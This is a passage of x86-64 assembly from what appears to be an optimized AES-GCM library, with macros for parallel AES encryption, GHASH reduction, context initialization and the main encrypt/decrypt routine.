vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_4_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
vmovdqu %%T1, [%%GDATA + 16*7]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
vmovdqu %%T1, [rsp + TMP6]
vmovdqu %%T5, [%%GDATA + HashKey_3]
vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_3_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
vmovdqu %%T1, [%%GDATA + 16*8]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
vmovdqu %%T1, [rsp + TMP7]
vmovdqu %%T5, [%%GDATA + HashKey_2]
vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_2_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu %%T5, [%%GDATA + 16*9]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T1, [rsp + TMP8]
vmovdqu %%T5, [%%GDATA + HashKey]
vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
vpxor %%T6, %%T4
vpxor %%T6, %%T7
%ifdef GCM128_MODE
vmovdqu %%T5, [%%GDATA + 16*10]
%endif
%ifdef GCM192_MODE
vmovdqu %%T5, [%%GDATA + 16*10]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T5, [%%GDATA + 16*11]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T5, [%%GDATA + 16*12]
%endif
%ifdef GCM256_MODE
vmovdqu %%T5, [%%GDATA + 16*10]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T5, [%%GDATA + 16*11]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T5, [%%GDATA + 16*12]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T5, [%%GDATA + 16*13]
vaesenc %%XMM1, %%T5
vaesenc %%XMM2, %%T5
vaesenc %%XMM3, %%T5
vaesenc %%XMM4, %%T5
vaesenc %%XMM5, %%T5
vaesenc %%XMM6, %%T5
vaesenc %%XMM7, %%T5
vaesenc %%XMM8, %%T5
vmovdqu %%T5, [%%GDATA + 16*14]
%endif
%assign i 0
%assign j 1
%rep 8
%ifidn %%ENC_DEC, ENC
%ifdef NT_LD
VXLDR %%T2, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*i]
vpxor %%T2, %%T2, %%T5
%else
vpxor %%T2, %%T5, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*i]
%endif ; NT_LD
vaesenclast reg(j), reg(j), %%T2
%else
VXLDR %%T2, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*i]
vpxor %%T2, %%T2, %%T5
vaesenclast %%T3, reg(j), %%T2
vpxor reg(j), %%T2, %%T5
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*i], %%T3
%endif ; %%ENC_DEC
%assign i (i+1)
%assign j (j+1)
%endrep
vpslldq %%T3, %%T6, 8 ; shift-L %%T3 2 DWs
vpsrldq %%T6, %%T6, 8 ; shift-R %%T2 2 DWs
vpxor %%T7, %%T3
vpxor %%T6, %%T4 ; accumulate the results in %%T6:%%T7
;first phase of the reduction
vpslld %%T2, %%T7, 31 ; packed right shifting << 31
vpslld %%T3, %%T7, 30 ; packed right shifting shift << 30
vpslld %%T4, %%T7, 25 ; packed right shifting shift << 25
vpxor %%T2, %%T2, %%T3 ; xor the shifted versions
vpxor %%T2, %%T2, %%T4
vpsrldq %%T1, %%T2, 4 ; shift-R %%T1 1 DW
vpslldq %%T2, %%T2, 12 ; shift-L %%T2 3 DWs
vpxor %%T7, %%T2 ; first phase of the reduction complete
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%ifidn %%ENC_DEC, ENC
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*0], %%XMM1 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*1], %%XMM2 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*2], %%XMM3 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*3], %%XMM4 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*4], %%XMM5 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*5], %%XMM6 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*6], %%XMM7 ; Write to the Ciphertext buffer
VXSTR [%%CYPH_PLAIN_OUT+%%DATA_OFFSET+16*7], %%XMM8 ; Write to the Ciphertext buffer
%endif
;second phase of the reduction
vpsrld %%T2,%%T7,1 ; packed left shifting >> 1
vpsrld %%T3,%%T7,2 ; packed left shifting >> 2
vpsrld %%T4,%%T7,7 ; packed left shifting >> 7
vpxor %%T2, %%T2,%%T3 ; xor the shifted versions
vpxor %%T2, %%T2,%%T4
vpxor %%T2, %%T2, %%T1
vpxor %%T7, %%T7, %%T2
vpxor %%T6, %%T6, %%T7 ; the result is in %%T6
vpshufb %%XMM1, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM2, [SHUF_MASK]
vpshufb %%XMM3, [SHUF_MASK]
vpshufb %%XMM4, [SHUF_MASK]
vpshufb %%XMM5, [SHUF_MASK]
vpshufb %%XMM6, [SHUF_MASK]
vpshufb %%XMM7, [SHUF_MASK]
vpshufb %%XMM8, [SHUF_MASK]
vpxor %%XMM1, %%T6
%endmacro
; GHASH the last 4 ciphertext blocks.
; %%GDATA is GCM key data
%macro GHASH_LAST_8 16
%define %%GDATA %1
%define %%T1 %2
%define %%T2 %3
%define %%T3 %4
%define %%T4 %5
%define %%T5 %6
%define %%T6 %7
%define %%T7 %8
%define %%XMM1 %9
%define %%XMM2 %10
%define %%XMM3 %11
%define %%XMM4 %12
%define %%XMM5 %13
%define %%XMM6 %14
%define %%XMM7 %15
%define %%XMM8 %16
;; Karatsuba Method
vpshufd %%T2, %%XMM1, 01001110b
vpxor %%T2, %%XMM1
vmovdqu %%T5, [%%GDATA + HashKey_8]
vpclmulqdq %%T6, %%XMM1, %%T5, 0x11
vpclmulqdq %%T7, %%XMM1, %%T5, 0x00
vmovdqu %%T3, [%%GDATA + HashKey_8_k]
vpclmulqdq %%XMM1, %%T2, %%T3, 0x00
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM2, 01001110b
vpxor %%T2, %%XMM2
vmovdqu %%T5, [%%GDATA + HashKey_7]
vpclmulqdq %%T4, %%XMM2, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM2, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_7_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM3, 01001110b
vpxor %%T2, %%XMM3
vmovdqu %%T5, [%%GDATA + HashKey_6]
vpclmulqdq %%T4, %%XMM3, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM3, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_6_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM4, 01001110b
vpxor %%T2, %%XMM4
vmovdqu %%T5, [%%GDATA + HashKey_5]
vpclmulqdq %%T4, %%XMM4, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM4, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_5_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM5, 01001110b
vpxor %%T2, %%XMM5
vmovdqu %%T5, [%%GDATA + HashKey_4]
vpclmulqdq %%T4, %%XMM5, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM5, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_4_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM6, 01001110b
vpxor %%T2, %%XMM6
vmovdqu %%T5, [%%GDATA + HashKey_3]
vpclmulqdq %%T4, %%XMM6, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM6, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_3_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM7, 01001110b
vpxor %%T2, %%XMM7
vmovdqu %%T5, [%%GDATA + HashKey_2]
vpclmulqdq %%T4, %%XMM7, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM7, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_2_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
;;;;;;;;;;;;;;;;;;;;;;
vpshufd %%T2, %%XMM8, 01001110b
vpxor %%T2, %%XMM8
vmovdqu %%T5, [%%GDATA + HashKey]
vpclmulqdq %%T4, %%XMM8, %%T5, 0x11
vpxor %%T6, %%T6, %%T4
vpclmulqdq %%T4, %%XMM8, %%T5, 0x00
vpxor %%T7, %%T7, %%T4
vmovdqu %%T3, [%%GDATA + HashKey_k]
vpclmulqdq %%T2, %%T2, %%T3, 0x00
vpxor %%XMM1, %%XMM1, %%T2
vpxor %%XMM1, %%XMM1, %%T6
vpxor %%T2, %%XMM1, %%T7
vpslldq %%T4, %%T2, 8
vpsrldq %%T2, %%T2, 8
vpxor %%T7, %%T4
vpxor %%T6, %%T2 ; <%%T6:%%T7> holds the result of the accumulated carry-less multiplications
;first phase of the reduction
vpslld %%T2, %%T7, 31 ; packed right shifting << 31
vpslld %%T3, %%T7, 30 ; packed right shifting shift << 30
vpslld %%T4, %%T7, 25 ; packed right shifting shift << 25
vpxor %%T2, %%T2, %%T3 ; xor the shifted versions
vpxor %%T2, %%T2, %%T4
vpsrldq %%T1, %%T2, 4 ; shift-R %%T1 1 DW
vpslldq %%T2, %%T2, 12 ; shift-L %%T2 3 DWs
vpxor %%T7, %%T2 ; first phase of the reduction complete
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;second phase of the reduction
vpsrld %%T2,%%T7,1 ; packed left shifting >> 1
vpsrld %%T3,%%T7,2 ; packed left shifting >> 2
vpsrld %%T4,%%T7,7 ; packed left shifting >> 7
vpxor %%T2, %%T2,%%T3 ; xor the shifted versions
vpxor %%T2, %%T2,%%T4
vpxor %%T2, %%T2, %%T1
vpxor %%T7, %%T7, %%T2
vpxor %%T6, %%T6, %%T7 ; the result is in %%T6
%endmacro
; Encryption of a single block
; %%GDATA is GCM key data
%macro ENCRYPT_SINGLE_BLOCK 2
%define %%GDATA %1
%define %%XMM0 %2
vpxor %%XMM0, [%%GDATA+16*0]
%assign i 1
%rep NROUNDS
vaesenc %%XMM0, [%%GDATA+16*i]
%assign i (i+1)
%endrep ; NROUNDS
vaesenclast %%XMM0, [%%GDATA+16*i]
%endmacro
;; Start of Stack Setup
%macro FUNC_SAVE 0
;; Required for Update/GMC_ENC
;the number of pushes must equal STACK_OFFSET
push r12
push r13
push r14
push r15
mov r14, rsp
sub rsp, VARIABLE_OFFSET
and rsp, ~63
%ifidn __OUTPUT_FORMAT__, win64
; xmm6:xmm15 need to be maintained for Windows
vmovdqu [rsp + LOCAL_STORAGE + 0*16],xmm6
vmovdqu [rsp + LOCAL_STORAGE + 1*16],xmm7
vmovdqu [rsp + LOCAL_STORAGE + 2*16],xmm8
vmovdqu [rsp + LOCAL_STORAGE + 3*16],xmm9
vmovdqu [rsp + LOCAL_STORAGE + 4*16],xmm10
vmovdqu [rsp + LOCAL_STORAGE + 5*16],xmm11
vmovdqu [rsp + LOCAL_STORAGE + 6*16],xmm12
vmovdqu [rsp + LOCAL_STORAGE + 7*16],xmm13
vmovdqu [rsp + LOCAL_STORAGE + 8*16],xmm14
vmovdqu [rsp + LOCAL_STORAGE + 9*16],xmm15
%endif
%endmacro
%macro FUNC_RESTORE 0
%ifidn __OUTPUT_FORMAT__, win64
vmovdqu xmm15 , [rsp + LOCAL_STORAGE + 9*16]
vmovdqu xmm14 , [rsp + LOCAL_STORAGE + 8*16]
vmovdqu xmm13 , [rsp + LOCAL_STORAGE + 7*16]
vmovdqu xmm12 , [rsp + LOCAL_STORAGE + 6*16]
vmovdqu xmm11 , [rsp + LOCAL_STORAGE + 5*16]
vmovdqu xmm10 , [rsp + LOCAL_STORAGE + 4*16]
vmovdqu xmm9 , [rsp + LOCAL_STORAGE + 3*16]
vmovdqu xmm8 , [rsp + LOCAL_STORAGE + 2*16]
vmovdqu xmm7 , [rsp + LOCAL_STORAGE + 1*16]
vmovdqu xmm6 , [rsp + LOCAL_STORAGE + 0*16]
%endif
;; Required for Update/GMC_ENC
mov rsp, r14
pop r15
pop r14
pop r13
pop r12
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GCM_INIT initializes a gcm_context_data struct to prepare for encoding/decoding.
; Input: struct gcm_key_data *(GDATA_KEY), struct gcm_context_data *(GDATA_CTX),
; IV, Additional Authentication data (A_IN), Additional
; Data length (A_LEN)
; Output: Updated GDATA with the hash of A_IN (AadHash) and initialized other parts of GDATA.
; Clobbers rax, r10-r13, and xmm0-xmm6
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro GCM_INIT 5
%define %%GDATA_KEY %1
%define %%GDATA_CTX %2
%define %%IV %3
%define %%A_IN %4
%define %%A_LEN %5
%define %%AAD_HASH xmm0
%define %%SUBHASH xmm1
vmovdqu %%SUBHASH, [%%GDATA_KEY + HashKey]
CALC_AAD_HASH %%A_IN, %%A_LEN, %%AAD_HASH, %%SUBHASH, xmm2, xmm3, xmm4, xmm5, xmm6, r10, r11, r12, r13, rax
vpxor xmm2, xmm3
mov r10, %%A_LEN
vmovdqu [%%GDATA_CTX + AadHash], %%AAD_HASH ; ctx_data.aad hash = aad_hash
mov [%%GDATA_CTX + AadLen], r10 ; ctx_data.aad_length = aad_length
xor r10, r10
mov [%%GDATA_CTX + InLen], r10 ; ctx_data.in_length = 0
mov [%%GDATA_CTX + PBlockLen], r10 ; ctx_data.partial_block_length = 0
vmovdqu [%%GDATA_CTX + PBlockEncKey], xmm2 ; ctx_data.partial_block_enc_key = 0
mov r10, %%IV
vmovdqa xmm2, [rel ONEf] ; read 12 IV bytes and pad with 0x00000001
vpinsrq xmm2, [r10], 0
vpinsrd xmm2, [r10+8], 2
vmovdqu [%%GDATA_CTX + OrigIV], xmm2 ; ctx_data.orig_IV = iv
vpshufb xmm2, [SHUF_MASK]
vmovdqu [%%GDATA_CTX + CurCount], xmm2 ; ctx_data.current_counter = iv
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GCM_ENC_DEC Encodes/Decodes given data. Assumes that the passed gcm_context_data struct
; has been initialized by GCM_INIT
; Requires the input data be at least 1 byte long because of READ_SMALL_INPUT_DATA.
; Input: struct gcm_key_data* (GDATA_KEY), struct gcm_context_data * (GDATA_CTX),
; input text (PLAIN_CYPH_IN), input text length (PLAIN_CYPH_LEN),
; and whether encoding or decoding (ENC_DEC)
; Output: A cypher of the given plain text (CYPH_PLAIN_OUT), and updated GDATA_CTX
; Clobbers rax, r10-r15, and xmm0-xmm15
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro GCM_ENC_DEC 6
%define %%GDATA_KEY %1
%define %%GDATA_CTX %2
%define %%CYPH_PLAIN_OUT %3
%define %%PLAIN_CYPH_IN %4
%define %%PLAIN_CYPH_LEN %5
%define %%ENC_DEC %6
%define %%DATA_OFFSET r11
; Macro flow:
; calculate the number of 16byte blocks in the message
; process (number of 16byte blocks) mod 8 '%%_initial_num_blocks_is_# .. %%_initial_blocks_encrypted'
; process 8 16 byte blocks at a time until all are done '%%_encrypt_by_8_new .. %%_eight_cipher_left'
; if there is a block of less tahn 16 bytes process it '%%_zero_cipher_left .. %%_multiple_of_16_bytes'
cmp %%PLAIN_CYPH_LEN, 0
je %%_multiple_of_16_bytes
xor %%DATA_OFFSET, %%DATA_OFFSET
%ifidn __OUTPUT_FORMAT__, win64
mov rax, %%PLAIN_CYPH_LEN
add [%%GDATA_CTX + InLen], rax ; Update length of data processed
%else
add [%%GDATA_CTX + InLen], %%PLAIN_CYPH_LEN ; Update length of data processed
%endif
vmovdqu xmm13, [%%GDATA_KEY + HashKey] ; xmm13 = HashKey
vmovdqu xmm8, [%%GDATA_CTX + AadHash]
PARTIAL_BLOCK %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, %%PLAIN_CYPH_LEN, %%DATA_OFFSET, xmm8, %%ENC_DEC
mov r13, %%PLAIN_CYPH_LEN
sub r13, %%DATA_OFFSET
mov r10, r13 ; save the amount of data left to process in r10
and r13, -16 ; r13 = r13 - (r13 mod 16)
mov r12, r13
shr r12, 4
and r12, 7
jz %%_initial_num_blocks_is_0
cmp r12, 7
je %%_initial_num_blocks_is_7
cmp r12, 6
je %%_initial_num_blocks_is_6
cmp r12, 5
je %%_initial_num_blocks_is_5
cmp r12, 4
je %%_initial_num_blocks_is_4
cmp r12, 3
je %%_initial_num_blocks_is_3
cmp r12, 2
je %%_initial_num_blocks_is_2
jmp %%_initial_num_blocks_is_1
%%_initial_num_blocks_is_7:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 7, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16*7
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_6:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 6, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16*6
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_5:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 5, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16*5
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_4:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 4, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16*4
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_3:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 3, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16*3
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_2:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 2, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16*2
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_1:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 1, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
sub r13, 16
jmp %%_initial_blocks_encrypted
%%_initial_num_blocks_is_0:
INITIAL_BLOCKS %%GDATA_KEY, %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r13, %%DATA_OFFSET, 0, xmm12, xmm13, xmm14, xmm15, xmm11, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm10, xmm0, %%ENC_DEC
%%_initial_blocks_encrypted:
cmp r13, 0
je %%_zero_cipher_left
sub r13, 128
je %%_eight_cipher_left
vmovd r15d, xmm9
and r15d, 255
vpshufb xmm9, [SHUF_MASK]
%%_encrypt_by_8_new:
cmp r15d, 255-8
jg %%_encrypt_by_8
add r15b, 8
GHASH_8_ENCRYPT_8_PARALLEL %%GDATA_KEY, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, %%DATA_OFFSET, xmm0, xmm10, xmm11, xmm12, xmm13, xmm14, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm15, out_order, %%ENC_DEC
add %%DATA_OFFSET, 128
sub r13, 128
jne %%_encrypt_by_8_new
vpshufb xmm9, [SHUF_MASK]
jmp %%_eight_cipher_left
%%_encrypt_by_8:
vpshufb xmm9, [SHUF_MASK]
add r15b, 8
GHASH_8_ENCRYPT_8_PARALLEL %%GDATA_KEY, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN,%%DATA_OFFSET, xmm0, xmm10, xmm11, xmm12, xmm13, xmm14, xmm9, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm15, in_order, %%ENC_DEC
vpshufb xmm9, [SHUF_MASK]
add %%DATA_OFFSET, 128
sub r13, 128
jne %%_encrypt_by_8_new
vpshufb xmm9, [SHUF_MASK]
%%_eight_cipher_left:
GHASH_LAST_8 %%GDATA_KEY, xmm0, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8
%%_zero_cipher_left:
vmovdqu [%%GDATA_CTX + AadHash], xmm14 ; ctx_data.aad hash = xmm14
vmovdqu [%%GDATA_CTX + CurCount], xmm9 ; ctx_data.current_counter = xmm9
mov r13, r10
and r13, 15 ; r13 = (%%PLAIN_CYPH_LEN mod 16)
je %%_multiple_of_16_bytes
mov [%%GDATA_CTX + PBlockLen], r13 ; ctx_data.partial_blck_length = r13
; handle the last <16 Byte block seperately
vpaddd xmm9, [ONE] ; INCR CNT to get Yn
vmovdqu [%%GDATA_CTX + CurCount], xmm9 ; my_ctx_data.current_counter = xmm9
vpshufb xmm9, [SHUF_MASK]
ENCRYPT_SINGLE_BLOCK %%GDATA_KEY, xmm9 ; E(K, Yn)
vmovdqu [%%GDATA_CTX + PBlockEncKey], xmm9 ; ctx_data.partial_block_enc_key = xmm9
cmp %%PLAIN_CYPH_LEN, 16
jge %%_large_enough_update
lea r10, [%%PLAIN_CYPH_IN + %%DATA_OFFSET]
READ_SMALL_DATA_INPUT xmm1, r10, r13, r12, r15, rax
lea r12, [SHIFT_MASK + 16]
sub r12, r13
jmp %%_data_read
%%_large_enough_update:
sub %%DATA_OFFSET, 16
add %%DATA_OFFSET, r13
vmovdqu xmm1, [%%PLAIN_CYPH_IN+%%DATA_OFFSET] ; receive the last <16 Byte block
sub %%DATA_OFFSET, r13
add %%DATA_OFFSET, 16
lea r12, [SHIFT_MASK + 16]
sub r12, r13 ; adjust the shuffle mask pointer to be able to shift 16-r13 bytes (r13 is the number of bytes in plaintext mod 16)
vmovdqu xmm2, [r12] ; get the appropriate shuffle mask
vpshufb xmm1, xmm2 ; shift right 16-r13 bytes
%%_data_read:
%ifidn %%ENC_DEC, DEC
vmovdqa xmm2, xmm1
vpxor xmm9, xmm1 ; Plaintext XOR E(K, Yn)
vmovdqu xmm1, [r12 + ALL_F - SHIFT_MASK] ; get the appropriate mask to mask out top 16-r13 bytes of xmm9
vpand xmm9, xmm1 ; mask out top 16-r13 bytes of xmm9
vpand xmm2, xmm1
vpshufb xmm2, [SHUF_MASK]
vpxor xmm14, xmm2
vmovdqu [%%GDATA_CTX + AadHash], xmm14
%else
vpxor xmm9, xmm1 ; Plaintext XOR E(K, Yn)
vmovdqu xmm1, [r12 + ALL_F - SHIFT_MASK] ; get the appropriate mask to mask out top 16-r13 bytes of xmm9
vpand xmm9, xmm1 ; mask out top 16-r13 bytes of xmm9
vpshufb xmm9, [SHUF_MASK]
vpxor xmm14, xmm9
vmovdqu [%%GDATA_CTX + AadHash], xmm14
vpshufb xmm9, [SHUF_MASK] ; shuffle xmm9 back to output as ciphertext
%endif
